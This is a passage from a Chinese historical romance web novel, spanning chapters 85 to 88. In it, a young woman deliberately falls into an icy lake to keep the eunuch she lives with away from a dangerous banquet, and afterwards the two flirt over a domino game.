张景和心里紧张,面上却强装出漫不经心的模样:“我是说可以问,但没叫你问这种问题!你一个未出阁的姑娘家,整日把‘喜欢’‘不喜欢’挂在嘴边,若是传了出去,岂不是让人笑掉大牙?成何体统!” 姚砚云一眼就看穿了他眼底的闪躲,分明是又想含糊过去。她心头一转,索性来了招以退为进,眼帘轻轻垂了垂,再抬眼时,眼底已凝了层淡淡的忧愁,望着张景和轻声道:“那我知道了,原来公公是不喜欢我的。” “公公你如实说不就好了,何必遮遮掩掩?我又不是那种厚脸皮的,非要缠着你不可。” 张景和瞧着她这副模样,心像是被羽毛轻轻挠了挠,又软又痒。 他自己也纳闷,他是喜欢她的,可这话到了嘴边,却像被什么堵住似的。在他心里,每天能和她一起坐在屋里吃顿饭,饭后能听她絮絮叨叨说些琐事,这样平淡安稳的日子,就是他能想到的最好的幸福了,这样他就很满足了。 这样就够了,不是吗? 他以后会对她越来越好就是了,又何须事事说透? 他也在姚砚云身侧坐了下来,神情忽然变得很温柔,姚砚云瞧着他这模样,心头一动,以为他终于想通了。 谁知张景和只是轻声道:“回去睡吧。” 姚砚云: 轻飘飘的一句话。 姚砚云这一刻是失望的,她眼底的光亮瞬间黯淡下去,甚至轻叹了一口气,可是她又能怎么办呢?也不能拿把刀逼着他说喜欢自己。 “行吧,我回去了。”,她也轻飘飘地说了一句。 张景和起身:“我送你回去。” 姚砚云抬起眼,对着他无奈地牵了牵唇角,笑意里带着几分自嘲:“不必了。这条路,我素来都是一个人走的。” 翌日天还灰蒙蒙的,张景和就进宫了。 姚砚云睡到日上三竿才醒的,本来想到昨晚的事,她特别生气,后面吉祥捧着个描金漆盒进来,说是张景和特意吩咐送来的。 打开一看,盒内珠光宝气,金簪银钗、翡翠玉佩样样精致夺目,金灿灿、亮晶晶的晃得人眼晕。姚砚云盯着这些玩意,心头的气忽然就散了大半,暗自嘀咕:都说钱在哪里,心就在哪里,他肯这般给她花钱,约莫是对自己有几分真心的吧? 往后几日,张景和再没回府。姚砚云让富贵往宫里递了好几次话,明里暗里暗示他得空能回来一趟,可传了三日的话,只有富贵回来了,再无其他。 到了第八日的时候,张景和依旧在宫里,只是又托人给她送了很多礼物,姚砚云这时候,收到什么都不会开心了,她心里明镜似的,若张景和真去了那揽月阁的宴会,便是踏入了死局,而她自己,怕也难逃牵连。 情急之下,她又想起了装病,她都这样了,他总该回来看她了吧?谁知第二日,常圣手竟然过来了。常圣手医术何等高明,她怎么敢在他面前弄虚作假,就只能说自己没事了,让他开一些补药就好了。 眼瞧着宴会之日愈发临近,姚砚云急得夜夜难眠,茶饭不思,眼眶都红了好几回,甚至差点忍不住要去找芸娘求助。心底的绝望一点点蔓延开来。 好在天无绝人之路。就在宴会即将开始的当天,张景和终于回府了。 姚砚云迎上去,小心翼翼地替他解下肩头的大氅系带,轻声问道:“公公,那宴会约莫是什么时辰开始?” 张景和道:“酉时左右吧。” “方才听你说,那地方叫揽月阁是吧?”姚砚云眼珠一转,笑道,“我听闻那是上任内阁首辅的旧府邸,景致极美,建筑也颇为别致。公公,要不你带上我一起去?让小云也开开眼界,见识见识世面呀。” 张景和闻言,微微摇头:“此次宴会并无女眷随行,你去多有不便。” “公公说的是。”姚砚云连忙应着,生怕他一口回绝,又急忙补充道,“可我就是想瞧瞧那府邸的模样,又不跟你一同赴宴。我们早些去,转一圈我就回来,定然不会被人发现的,好不好?” 看着她眼底满是期盼的模样,张景和沉默片刻,终究是点了头:“行。” 因他刚从宫里回来,需得稍作歇息,姚砚云便识趣地退了出去。 待张景和歇足起身,两人便坐上马车,往揽月阁而去。 这揽月阁原是上任首辅的私宅,后来那首辅因罪获贬,府邸便被朝廷收回,时常用作宴请宾客的场所。此刻时辰尚早,受邀的官员与商户都还未到,唯有七八个仆役正在一处阁楼外布置桌椅、悬挂宫灯,想来便是今日晚宴的主场地。 张景和依言,带着姚砚云在府中缓缓转了起来。 这府邸的设计的的确精美,这里面竟然还有一个小湖,张景和说,天暖时,还会有歌姬乘小舟在湖上唱曲儿。 姚砚云目光落在湖面上,轻声问:“这湖水深吗?” 张景和道:“如今是枯水期,倒不算深,约莫刚没过你的腰。 走了一大圈后,见张景和眉宇间透着倦意,姚砚云提议:“那边有个亭子,公公先去休息一下吧,我和冬梅再四处走走。” 那亭子立在湖中央,有一条青石板路直直通向那里。亭子地势偏高,又正处湖的中心,站在亭中便能将满湖风光尽收眼底。张景和确实走得有些乏了,便顺着石板路往亭子去,走至亭边时回头望,还能清晰看见姚砚云与马冬梅手挽着手,慢悠悠走在湖边的模样,风拂过两人衣摆,漾起细碎的褶皱。 姚砚云挽着马冬梅的手腕缓步走着,脚步却总不自觉慢下来,每隔几步便要回头望一眼,每次回头,都能撞进张景和凝在自己身上的目光,那目光温温的,似春日里晒透了暖阳的湖水,不灼人,却带着缠缠绵绵的暖意。 姚砚云在心里发笑,好在再回头时,才见张景和在亭中石凳上坐下了,手肘搭在石栏上,终于换了一个方向望着。 此时天色尚亮。姚砚云收回目光,看向身侧的马冬梅,笑着道:“冬梅,我们去划船好不好?我记得你以前跟我说过,你老家那边有河,你常去划小船玩的。” 马冬梅顺着她的目光看向湖边,果然见几棵垂柳下系着几只小舟,湖中心也飘着一两艘,舟身不大,刚好能容下两个人。当即笑着应了:“好啊,我们去玩玩。” 说着,马冬梅便走上前,伸手去解系在柳树上的船绳,脚刚要踏上船板,却被姚砚云叫住:“等等,我忽然觉得有些冷,你帮我去马车里拿件大氅来好不好?” 马冬梅闻言,收回脚:“行,我去去就回。”说罢便转身往,停在外边的马车方向快步走去。 马冬梅的身影刚走远,姚砚云便独自踏上了小舟。她伸手拿起船桨,学着马冬梅方才的模样轻轻划动,船桨探进水里,溅起细小的水花,带着凉意。这湖本就不大,加之天色未暗,视线清晰得很,她甚至能看x见湖的东西两侧,各有一艘仆役划的小舟,船上放着竹筐,想来是在打捞湖里的残枝败叶。 姚砚云握着船桨的手紧了紧,心里悄悄安慰自己:不过是划会儿船,有什么好怕的,很快就能划到亭子那边了 亭中的张景和正望着湖面出神,听见船桨划水的声音,抬眼便看见姚砚云独自坐在小舟上,正朝着亭子这边来。他心里猛地一紧,腾地从石凳上站起来,他快步走到亭边石栏旁。 朝着姚砚云喊了一声:“你别玩了,慢慢划到我这边来。” 姚砚云却只隔着水波朝他笑:“再玩一会儿嘛,你看湖里还有其他人,不会有事的。”她说着,还抬手指了指不远处打捞残枝的小舟。 见张景和依旧皱着眉,目光紧紧锁着自己,姚砚云又开口道:“好啦好啦,不玩了。就是我这会儿真的有些冷,你去马车那边帮我拿件大氅来好不好?你拿来了,我就立刻划过去。” 说罢,她唇角弯起,笑意再次漫进眼底:“赶紧去呀,我等着呢。” 张景和望着她眸中晃动的碎光,那笑意清浅又明媚,嘴角不受控制地微微上扬:“好,我这就去。你待在这儿别乱动,等我回来,再划回来。” 姚砚云闻言,没再开口,只对着他轻轻眨了眨眼,用口型无声地道了三个字:“知道了。” 就在他转身的刹那—— 两声惊呼骤然划破湖面的宁静。 变故毫无预兆地发生了。 姚砚云落水了。 刺骨的寒意瞬间席卷了她。湖水像无数把锋利的冰刃,顺着衣料的纹路疯狂涌入 第86章 张景和将姚砚云从冰水里捞起时,她早已没了大半意识。 眼皮勉强掀开一条缝,看见路面在眼前模糊成一片昏黑,刺骨的寒意顺着衣料往骨头缝里钻,冻得她连牙齿打颤的力气都快没了。唯一清晰的是张景和背着她一路狂奔,脚步急促得让她整个人都跟着晃荡,还有他粗重的喘息声。 不知跑了多久,终于踏入一处院子,张景和刚跨进门,对着一个小厮吩咐:“快烧桶热水来,再煮碗姜汤。” 说完又看向另外一个小厮:“你去最近的医馆请大夫,越快越好!” 两个小厮不敢耽搁,转身就往灶房和门外跑。 说完这些,才把姚砚云抱进屋内的床上,以最快的速度把她的湿衣服全部脱了,房里没有现成的干衣,他扯过床头的素色床单,迅速地将她裹了个严实,又转身抱过一床厚实的锦被,盖在她身上。 做完这一切,张景和自己的身子却仍在不住发颤,不是冷的,是怕的,他轻轻拍了拍姚砚云冰凉的脸颊:“砚砚,别睡,看着我,知道我是谁吗?” 姚砚云这才勉力睁开眼,脸色白得像张纸,嘴唇冻得发紫,声音细若蚊蚋:“我不睡……我们现在回家好不好?” 话音刚落,门外就传来丫鬟的脚步声。原来方才小厮见张景和怀里的人身上滴着水,又要了热水姜汤,便顺手让丫鬟多拿了套干衣过来。领头的丫鬟端着热水进门,将叠好的衣服放在床边,轻声道:“大人,姜汤还在煮,一会儿就送过来。这衣服是奴婢平日里穿的,委屈姑娘先凑合用。” 张景和抬眼看向丫鬟,眼底满是感激:“多谢。” 等丫鬟们退出去,他将姚砚云揽进怀里,双手反复搓着她冰凉的后背:“喝完姜汤我们就走了,你先别睡,好不好。” 姚砚云身子抖得比刚才更厉害,声音里带着哭腔:“我想现在就走……我不想待在这里,你带我走好不好。” 这时她才注意到张景和的模样,他的衣袍全湿了,头发上的水珠还在往下淌,连睫毛上都凝了层薄霜。姚砚云心里一紧,哑着嗓子劝:“你去问府里小厮拿件干衣服换上吧,别冻着了。” 可张景和却纹丝不动,依旧用掌心焐着她的背。姚砚云心里又急又心疼,想再多说几句,喉咙却像被冻住似的发不出声音,只能任由眼泪顺着眼角往下流,最后带着哭腔,近乎哀求:“就当我求你了,快去吧……” 张景和看着她通红的眼眶,终究是起身了:“我一会儿就回来。” 姚砚云看着他转身离开的背影,才稍稍松了口气。她咬着牙,用冻得发僵的手指一点点解开床单,哆哆嗦嗦地换上丫鬟送来的干衣,她想快点换好,等张景和回来,就能立刻走了。 没等多久,张景和就回来了,身上换了件小厮的粗布衣裳。姚砚云一见他,就急着要下床:“公公,我们走吧,我真的不想待在这里,大夫回去再看也一样。” 张景和上前按住她,眉头微蹙:“从这里回张府,就算快马加鞭也得两刻多钟,先喝了姜汤,等大夫来了再说。” 姚砚云道:“如果你现在不跟我回去,我不单不喝姜汤,也绝不会让大夫碰我一下。” 张景和定定地看着她,眼底翻涌着复杂的情绪。 姚砚云心里发慌,就当姚砚云以为他看出点什么时,他道:“好,那就回去,我们去找常圣手。” 只是说这话时,他眼神里全是沉默。 张景和很快叫小厮抬了顶小轿进来,又抱过一床厚棉被,将姚砚云裹得严严实实,生怕漏进一丝寒风,这才小心翼翼地抱着她上了轿。到了府前大门,他又把人抱上张府的马车。 对富贵吩咐:“你先骑马回去,把常圣手请到府里等着,再让府里准备好热水和姜汤,越快越好。”接着又看向另外两个侍卫:“你们去寻马冬梅,找到后送她回府。” 一路疾驰回到张府,府里早已按照吩咐准备妥当,常圣手也已经在正厅等候。姚砚云刚被放在床上,就看见张景和转身要走,她心里一慌,连忙伸手抓住他的衣角:“公公,你去哪里?” “常圣手来了,我去请他进来给你诊脉。”张景和停下脚步,回头看向她。 姚砚云攥着他衣角的手紧了紧,眼眶又红了:“那你等下还回来吗?你能一直陪着我吗?” 张景和看着她泛红的眼眶,轻轻点了点头:“我不走,一直陪着你。” 很快,常圣手就提着药箱进了屋。他坐在床边,指尖搭在姚砚云的腕上,眉头越皱越紧,诊完脉后,二话不说就提笔开了药方,脸色却依旧难看。等写完药方,他又把张景和单独叫到了大厅。 一出大厅,常圣手就忍不住发了火:“张公公,我之前的话都白跟你说了是不是?明知道她身子有旧疾,受不得半点寒,还去划什么小船,还大冬天掉进冰水里!你们两个是蠢货吗?别以为每次都能这么幸运把人救回来!” “寻常人冬天在冰水里泡一回,能不能挺过来都难说,何况是她这种底子!罢了罢了,你们好自为之吧,我都懒得骂你!”说完,他又转头对身后的侍从厉声道:“这张府以后的诊,我一概不接!要是再来通报,我打断你的腿!” 侍从: 旁边的吉祥更是吓出了一身冷汗,心里直想求常圣手少说两句,可他太了解这位老大夫的脾气,知道自己一开口,只会连带着被骂,只能硬着头皮站在原地。 可更让吉祥意外的,是张景和的反应。垂着头,嘴角牵起一抹苦涩的笑,直到常圣手气冲冲地走了,才缓缓抬起头,眼底暗淡无光 他转身回了内屋,姚砚云还躺在床上,身子依旧在轻轻哆嗦,却比刚才好了些。见他进来,她立刻伸出手,拉住他的手:“公公,你别走了,今晚和明天都陪着我,好不好?” 张景和在床边坐下,轻轻“嗯”了一声。 姚砚云握着他的手,才发现他的手还是凉的,心里顿时涌上一阵愧疚:“公公,你喝姜汤了吗?暖暖身子吧。” 张景和只回了一个字:“没。” “那你让常圣手看了吗?你也冻了那么久……”姚砚云的声音里满是担忧。 张景和回:“没。” 姚砚云这才察觉到不对劲,以为他是冻得难受,连忙把他的手捧在自己掌心,用力搓着:“都怪我,让你也受了冻,我帮你暖暖。” 张景和道:“你要是真怕我冻着,就不会寒冬腊月去跳湖了。” 此话一出,姚砚云手里的x动作猛地顿住。 他怎么会知道自己是跳湖的?她明明是看着他转身的瞬间,才纵身跳下去的,连湖上打捞的仆役都特意避开了,马冬梅也被她支走了,当时明明没有任何人看见…… 她强作镇定,声音有些发虚:“我又不是有病……大冬天的怎么会去跳湖。” 张景和抽回自己的手,自嘲道:“对,你没病,是我有病。”说完,他便转过身,背对着她。 他很生气,气她拿自己的性命开玩笑,可看着她这样子,却又舍不得对她多说一句重话。 两人就这样沉默着,过了许久,他才转过脸,一脸认真问她:“为什么要这么做?” 姚砚云很想说:还不是怕你死了,怕你死了后,又连累到我,我才这样做的,不然谁没事去跳。 她做这个决定的时候,其实也想了很久,她也真怕自己死了,可方淑宁说,那批商人会在京师停留两日,所以张景和这两日必须呆在府里,要是这两日他出门了,哪怕错过了宴会的时候,那批商人也可能在其他时间约他吃饭喝酒,他也很有可能被人陷害,到时候,他可能就真的要死了。 他死了,自己也得死…… 她不想死,也不想他死…… 她既不愿多做解释,又觉得自己受了天大的冤屈,一头扑在枕头上,肩膀耸动着,呜呜咽咽地哭了起来。泪水浸湿了锦枕,哭声里满是委屈与后怕。 张景和俯身下来,在她耳边道:“现在知道哭了,怎么跳湖的时候不哭。” 姚砚云本就委屈,被他这么一说,哭得愈发大声,到后来嗓子都干涩得发疼,只剩阵阵干咳。张景和见她哭得上气不接下气,终究是心疼了,伸手强行将她扶了起来。 她泪眼婆娑地瞪着他,鼻尖通红,带着浓重的鼻音辩解:“我本来……本来是不会掉下去的!都怪你,我是想着公公你不肯陪我去泡温泉,我想得入了神,才失足跌下去的!你若是肯应了我,哪里会有这些事!” “可你……可你还说我是故意跳湖博同情!你不仅不安慰我,反倒这般指责我……我真是瞎了眼,跟错了人!” 张景和望着她通红的眼眶,心头的软意瞬间蔓延开来。他放柔了语气,轻声问道:“看来这次,是真吓着了?” 姚砚云别过脸,不肯理他。 他伸出指腹,轻轻拭去她眼角的泪滴:“真吓着了,便哭吧,哭过了,心里便舒坦些了。” 说罢,他微微张开手臂,姿态纵容,暗示她可以靠在自己身上。 姚砚云本就满心委屈无处宣泄,见状也不客气,当即扑进他怀里,双臂紧紧环住他的腰,将满是眼泪的脸埋进他的衣襟,肆无忌惮地蹭着。 她抬起湿漉漉的眼睫:“公公,你这两天都在踏月轩陪着我吧,可以吗?” 张景和道:“可以。” 姚砚云仍不放心,又仰着小脸确认:“我说的是认真的,可不是玩笑话。” 张景和道:“我也是认真的。” 得到这句承诺,姚砚云悬着的心才彻底落地,又道:“那今晚你也别回你的院子了,就睡在屋外的软榻上?” 张景和“嗯”了一声。 这时姚砚云目光无意间扫过床脚,那里叠放着她穿回来的衣裙,那么问题来了,当时马冬梅不在,谁帮她换的衣服?—— 作者有话说:大家还想得起来,为何张公公知道小云是自己跳下去的吗 第87章 入夜后张景和就在踏月轩歇下了,原是在厅中软榻歇下的,后面觉得有些心烦意乱,索性起身,移步到西侧厢房躺下。 他望着头顶绣着缠枝莲纹的青纱帐,眸色沉沉,还在想今日发生的事情,他确定姚砚云就是自己跳下去的,可她为何要这般作践自己?难道是为了逃离他,才想出这苦肉计?以为将身子搞垮,他便会厌弃,会放她走吗? 白日里去问她,也问不出来什么东西罢了,她既不愿说,他便是再逼,也问不出什么。 而姚砚云夜间也起身了好几次,确认了厢房内的人没有走,那颗悬着的心才敢稍稍放下,迷迷糊糊地又睡过去。 翌日,两人一起用饭,张景和看姚砚云脸上虽还是没什么血色,唇瓣也透着点苍白,可吃东西吃得香,看样子是没什么大碍了。调理一阵就能恢复如初了。 吃着吃着,姚砚云忽然想起昨日落水的事。昨日半梦半醒间,许多片段都模糊不清,比如当时她落水后,谁帮她换的衣服?她当时隐隐约约听到有把男声,在叫她“砚砚”。 张景和可不会这样叫她! 而且按照张景和这个性子,他应该不会帮自己脱衣服吧? 这般思忖着,她便抬眼看向对面的人,好奇地问:“公公,昨日在揽月阁,我的湿衣服是谁帮我换下来的?” 张景和闻言,手中的筷子猛地一顿,随即剧烈地咳嗽起来,脸上泛起一层薄红,像是被气呛到,又像是别的什么。 姚砚云连忙放下筷子,起身绕到他身边,轻轻替他拍着后背:“公公,你没事吧?慢些吃。” 他咳了好一会儿才缓过来,避开她的目光,拿起帕子擦了擦唇角,语气故作镇定:“你人没事就好了,还想着昨天这些不开心的事做什么!” “那怎么行,”姚砚云眨了眨眼,认真道,“总要知道是谁帮了我,日后也好登门道谢呀。” 张景和喉结滚动了一下,垂眸看着碗中饭:“是揽月阁的丫鬟帮你脱的。” 姚砚云“哦”了一声。 又道:“我还以为是公公你帮我换的呢,当时我好像听见有男声唤我。” 张景和握着筷子的手紧了紧,语气陡然沉了些:“你还吃不吃?不吃我便走了。” 见他这副明显心虚的模样,姚砚云心头一动,戏谑问道::“公公,你该不会……当时就在旁边看着吧?” 话一出口,她自己先红透了耳根。他们相识至今,连亲亲都还没有过,若是真被他看了去,那也太羞人了。 “我没有!”张景和猛地抬眼,咳嗽了一声,随即又强装镇定地别开脸“你别整日胡思乱想些有的没的。” 说罢,他重新拿起筷子夹菜,可刚要送入口中,昨日的场景却不受控制地撞入脑海 一念及此,他只觉脸颊发烫,心跳也乱了节拍,连带着手都有些不稳。 姚砚云将他这副模样看在眼里,问:“公公,你在想什么呢?” 张景和猛地回神,对上她那双含着笑意的清澈眼眸,心头一跳,连忙别过脸去,声音有些不自然:“没,没想什么,快吃饭。” 姚砚云重新坐回自己的位置,想起昨日他应允的事:“公公,你昨日答应了我的,今日要在府中陪我一整天。我们今天玩些什么好呢?” 说起来,她是真的有些期待。他们相识这么久,他总是忙于宫中事务,回府后也不过是陪她吃一顿饭便匆匆离去,这般能整日呆在一起的时光,还是头一回。 张景和闻言,紧绷的神色柔和了些许,问道:“你想玩什么?” 姚砚云歪着脑袋想了想,其实也不知道两人能玩什么,便笑道:“不如你就陪我待在踏月轩吧,看看书,说说话也好。” 用完饭后,张景和暂且回了望雪坞的书房。刚踏入房门,富贵便上前回话:“老爷,今日一早,府里收到了不少盐商的拜帖,都想求见老爷一面。” 张景和随手将拜帖扫落在案上,眉宇间掠过一丝不耐,沉声道:“尽数回绝了。” 他顿了顿,又补充道:“今日除了皇上的旨意,无论谁来求见,都不必通传,也不必再来告知我。” 富贵连忙应下:“是,明白。” 在书房处理完自己的事情后,张景和又转身去了踏月轩,行至抄手游廊时,恰遇提着食盒往厨房去的六婶,便问六婶:“六婶,前些日子姚砚云托付你照拂的那只猫,可否抱来让我瞧瞧?” 六婶闻言笑道:“老爷稍候,老奴这就去取。”不多时便从偏院抱来一只白猫,琥珀色的眼珠怯生生地转着,爪子轻轻搭在六婶的衣袖上。张景和伸手接过,指尖摩挲着猫头顶柔软的绒毛,又低头揉了揉猫的下巴,才抱着它缓步往踏月轩走去。 一进屋,姚砚云坐在那里画什么东西,见是张景和,姚x砚云立即神神秘秘地把画收了起来。 张景和将这一幕尽收眼底,抱着猫缓步走近:“藏什么好东西呢?画的是何等景致,连我都不能见?” 姚砚云道:“就是我自己瞎画的玩意儿,没什么好看的,公公你就别打听了。” “哦?”张景和挑眉,脚步不停,伸手就要去拿。 姚砚云见状,急道:“我画的是避火图!” 张景和伸在半空的手猛地顿,脸色一变:“姚砚云!你又瞎画这些不害臊的玩意做什么?存心想气我是不是!” 姚砚云见他动了真容,连忙摆了摆手,声音软了下来:“其实也不算正经的那些啦,就是画来解闷玩的。”怕他真的恼了,又凑近了些,压低声音解释道:“画的是我自己呢,现在还没画好,等画好了一定给你看,好不好?” 说罢,她目光一转,落在张景和怀里蜷着的猫身上:“小可爱,好久不见哦,本来你是可以跟着我吃香喝辣的,可惜当时有个小气鬼,把你这个好运拦了下来。” 张景和: 接着又抱着猫,在榻上坐了下来,忽然眼睛一亮,抬眸看向他:“公公,我想到玩什么了!我们玩骨牌吧!” 话音未落,她便起身从柜中翻出一叠素白长纸条,撕得整整齐齐,扬了扬手中的纸条:“公公,输了的人,脸上是要贴这个的哦。” 接着又把玩法和赏罚说了一遍:输的那个人,除了脸上要贴纸条外,还得答应对方一个要求,或者让对方问一个问题。 说着,她拍了拍胸脯,语气里满是志在必得:“公公,小心输得倾家荡产哦。” 她之所以敢这么说,皆是源自上次输得惨不忍睹后,她拉着三喜讨教了许久,还偷偷练了好几日,想着今晚总算能扬眉吐气一番? 张景和看着她神采飞扬的模样,唇角勾起一抹浅淡的笑意:“口气倒是不小。你若输了,又能给我什么?” 姚砚云道:“小云可没有公公那么有钱。” 张景和道:“那你还敢这般嚣张?” 姚砚云忽然往前凑了凑,声音压得更低:“那……若是小云输了,便让公公为所欲为,如何?” 张景和只觉耳根瞬间烧了起来,连呼吸都乱了几分,甚至还有点慌乱:“姚砚云!你给我老实点!胡说什么呢!” 见他这般模样,姚砚云反倒一脸委屈,眨着清澈的眼眸,不解地问道:“公公你在说什么呀?我的意思是,我若输了,公公可以为所欲为地往我脸上贴纸条呀,这样说有什么不对吗?我和三喜、马冬梅他们平时都是这么玩的,难道有什么问题吗?” 张景和: 第一局骨牌落定,是姚砚云赢了。 姚砚云指尖拈着最后一枚胜出的牌,眼尾弯成了月牙,他问张景和:“公公是选问题还是选要求呢?” 张景和还真思考了起来,半晌才听得他道:“选问题。” 姚砚云忍着笑意,故意拖长了语调:“那我可就问了哦?” 张景和颔首,神色依旧平静。 她问:“公公除了我,还喜欢过别人吗?” 张景和: “算了算了,重新来过,我选答应你一个要求。”张景和摆了摆手,想耍赖。 姚砚云立刻坐直了身子:“那可不成哦。先前说好的规则,公公你莫不是没认真听?” 张景和这下真是骑虎难下,他蹙了蹙眉,喉结动了动,迟疑了片刻才艰涩地开口:“我……” 姚砚云眨了眨眼,满是好奇地望着他,眼底明晃晃写着“快说呀”。 张景和道:“我喜欢过很多人。” 姚砚云: 张景和得意地笑了笑:“赶紧下一轮!” 第二局骨牌轮转,这次却是张景和赢了。他学着方才姚砚云的模样,指尖敲了敲案面,问道:“选问题,还是选要求?” 姚砚云都不带怕的:“我选问题,公公你随便问吧。” “你”张景和刚想说什么,又立刻住口了,心里暗忖,千万不能问那些复杂的,不该问的,不然她后面,肯定会把问题抛回自己这边。 思来想去,他才缓缓问道:“你最喜欢的一道菜是什么?” 姚砚云: 虽然很想打死他,可姚砚云还是回答了:“红烧肉。” 第三局,依旧是张景和胜出。他似乎找到了应对之法,又问道:“你最喜欢的是什么花?” 姚砚云:? 姚砚云挑了挑眉,眼底闪过一丝了然。她自然知道他是故意避开那些敏感话题,心里暗忖:暂且忍你一回,总有我赢的时候! 可接下来的三局,好运仿佛都站在了张景和那边,他连着胜出,问的也都是些“最喜欢的颜色”“最爱的点心”之类无关痛痒的问题。姚砚云一边应付着,一边在心里骂三喜:尽教些没用的,等下就过去打死你。 终于,到了第十局。骨牌落下的瞬间,姚砚云眼前一亮——这次,她赢了! 张景和几乎是立即说:“我选要求!”显然是怕了她再问出什么让他措手不及的问题。 姚砚云眸中笑意更深,轻声确认:“公公,你确定吗?” 张景和道:“我确定!” 姚砚云闻言笑了笑,她微微俯身,凑近张景和身前:“那我要公公你亲我一下。”—— 作者有话说:来晚啦 第88章 张景和“啊”了一声,吓得可以用‘花容失色’来形容。 他猛地往后仰去,脊背几乎贴住榻沿,仿佛姚砚云下一秒就会扑上来将他生吞,满是惊慌失措。 姚砚云瞧着他这反应,心里有些郁闷,他这个反应搞得好像自己在调戏良家妇男一样?让他亲自己一下,难道不是他占到便宜了吗? 张景和缓了好一会儿神,抬眼再看时,却见姚砚云眼里竟没半分玩笑,反倒透着几分亮晶晶的期待…… 是他看错了吗? 他喉结轻轻滚了滚,先清了清嗓子想缓和气氛,可下一瞬又板起脸,语气故意带着严厉:“姚砚云,我看你近来是日子过得太舒坦,皮又痒了是不是?莫不是觉得我最近对你和缓了些,就敢拿我寻开心了?” “公公这说的是什么话?”姚砚云眨了眨眼,脸上依旧一派坦然,“咱们这会儿明明在玩游戏,你怎么扯到‘对我好不好’上去了?方才是你自己要选要求的。” “我说得有错吗?公公。” 张景和看着她面不改色的样子,实在没想到她胆子竟然这么大!这种要求也敢提出来,她是一点都不怕吃亏啊!他强压下心头的波澜,嘴硬道:“今天我心情好,就当你胡言乱语了。下次再敢这样,我可没这么好说话。” 说着便整理了下衣摆,准备起身:“行了,你自己先玩着,我还有事要处理,先回那边去。” 姚砚云道:“我没有胡说八道,我是认真的啊。” 张景和道:“你个小姑娘懂什么!我看你就是看那些话本,看坏脑子了。” “哦,那我知道了。”姚砚云拖长了语调,故意慢悠悠地说。 “你又知道什么了?”张景和皱着眉追问。 姚砚云弯了弯唇角,眼里带着点狡黠的挑衅:“公公是胆小鬼,是软柿子,连个女人都不敢亲。” “你”张景和被她这句话堵得瞬间语塞,胸口像是被什么东西撞了下,又闷又胀。 张景和的心里五味陈杂,他见过形形色色的女人,比姚砚云漂亮的有,比她识趣,更会讨好的,也大有人在。 可他唯独没见过姚砚云这样的——不仅长得和花儿一样,为了达目的,能放下身段去讨好他,却又偏偏带着股不管不顾的劲儿,她每天都笑得灿烂,仿佛没半点烦心事,纵有愁绪,也似风过无痕。可就是这样一个鲜活热烈的姑娘,竟会对着他这个残缺之人,直白地说要他喜欢、要他亲吻。 说句心里话,不心动是假的,被人这样需求着,那怕她是虚情假意的,他都感到一种满足,可满足过后,他心里又一阵失落 就在张景和愣神的工夫,姚砚云已经走到了他身前,在他腿/。上坐了下来:“公公你今天必须给我一个交代!不然你别想走出踏月轩的门。”说完双手还紧紧揽住了他的腰。 张景和能清晰地感受到腿/。上的温软,还有腰/。间传来的力道,知道她不是说笑。他故意沉了脸,威胁道:“姚砚云,你给我松手!不然等会儿我真对你做些什么,你可别后悔哭鼻子x。 这种话,姚砚云不知道听过多少次了,她非但没怕,反而仰起脸凑得更近,眼里满是挑衅:“那你来呀。” 张景和: 过了一会儿,张景和忽然阴恻恻笑了一声:“这可是你说的。” 话音刚落,他突然伸手,指尖精准地挠向姚砚云腰上的痒处,姚砚云果然一下子就松了手。 接着两人便在榻上闹了起来,张景和毕竟是男子,力气比她大些,没一会儿就将人压/。在了身下,手臂撑在她身侧,居高临下地看着她:“还闹不闹了?” 姚砚云刚才被挠得又哭又笑,此刻眼角还挂着泪珠,脸颊泛着红晕,她道:“公公你耍赖,你欺负我” 张景和看着她这副楚楚可怜又带着点不服气的模样,心里像是被羽毛轻轻挠了下,又痒又软,竟不想让她起来了。他维持着压/。着她的姿势:“下次还敢不敢了?” 姚砚云喘着气,胸口微微起伏着,她抬眼望进张景和的眼底,说了一句:“下次还敢。” 可张景和像是没听见这句话似的。他的目光落在身下人的脸上,那眉梢眼角的娇俏,那泛着水光的嘴唇,都让他心头一阵发烫。他鬼使神差地抬起手,指腹轻轻蹭过她的唇瓣。 柔软的触感传来,像是碰了团棉花糖,让他指尖都微微发颤。 他的眼神,也渐渐浸满了柔情,像化了的春水。 姚砚云也察觉到了气氛的微妙,刚才还带着笑意的脸瞬间红了,心跳“咚咚”地加速,连呼吸都变得有些急促,方才的顽劲都散了大半,只敢轻轻眨着眼睛,不敢再与他对视。 张景和见状,低笑出声,伸手将她额前散乱的碎发捋到耳后,指腹不经意蹭过她泛红的耳尖,又轻轻托住她的脸颊,拇指在她下颌线处轻轻摩挲,动作温柔得像是在触碰易碎的珍宝。 “啊” “对不起老爷,对不起姚姑娘!” 一声尖叫突然打破了房里的静谧。进来送茶点的小元刚推开门,就撞见张景和压/。着姚砚云的画面,吓得手一抖,盘子“哐当”一声摔在地上,东西滚了一地。 小元脸色惨白,“噗通”一声跪倒在地,头埋得低低的,等着处罚。 榻上的两人也瞬间回过神,慌忙起身。张景和强装镇定,伸手理了理衣摆,声音尽量平稳:“没你的事,把东西收拾好,出去吧。” 是、是……“小元连忙应着,哆哆嗦嗦地爬起来,手脚麻利地收拾起地上的碎片和茶点,头也不敢抬,匆匆忙忙地退了出去,还细心地带上了门。 姚砚云站在一旁,手指无意识地拨弄着头上的发钗,耳尖还泛着红,气氛有些尴尬。 张景和看了她一眼,眼神有些不自然,清了清嗓子:“那、那我先回去了,晚些时候再来找你,一起用晚饭。” 姚砚云轻轻“嗯”了一声。 张景和转身走出踏月轩,刚走了几步,却突然停住了脚步。他抬起右手,目光落在刚才抚摸过姚砚云唇瓣的指腹上,他顿了顿,将那指腹轻轻按在了自己的唇瓣上 —————— 那群盐商总算走了,那件事也算告一个段落了。 方淑宁这日来张府看姚砚云,刚坐下便听闻她前几日竟做了跳湖的傻事,手里的茶盏“哐当”一声撞在桌沿,脸色瞬间白了大半。 “姚姐姐!姚姐姐!你吓死我了!”方淑宁攥住她的手,语气里满是后怕“还好你没事,要是真有个三长两短,那不如让张公公……去死还好一些!” 姚砚云: 被她直白的话噎了一下,姚砚云小半晌才低声道:“我心里有数。” “反正这事很严重!”方淑宁挑眉,“我看啊,你比自己说的,要在乎张公公多了。” “不是全为了他。”姚砚云垂着眼,目光落在桌角的青瓷瓶上,声音轻了些,“他若是出事,我怕是也没什么好下场,其中的利弊,我还是拎得清的。” “你就是喜欢他,还嘴硬。”方淑宁凑过来,语气笃定。 姚砚云: 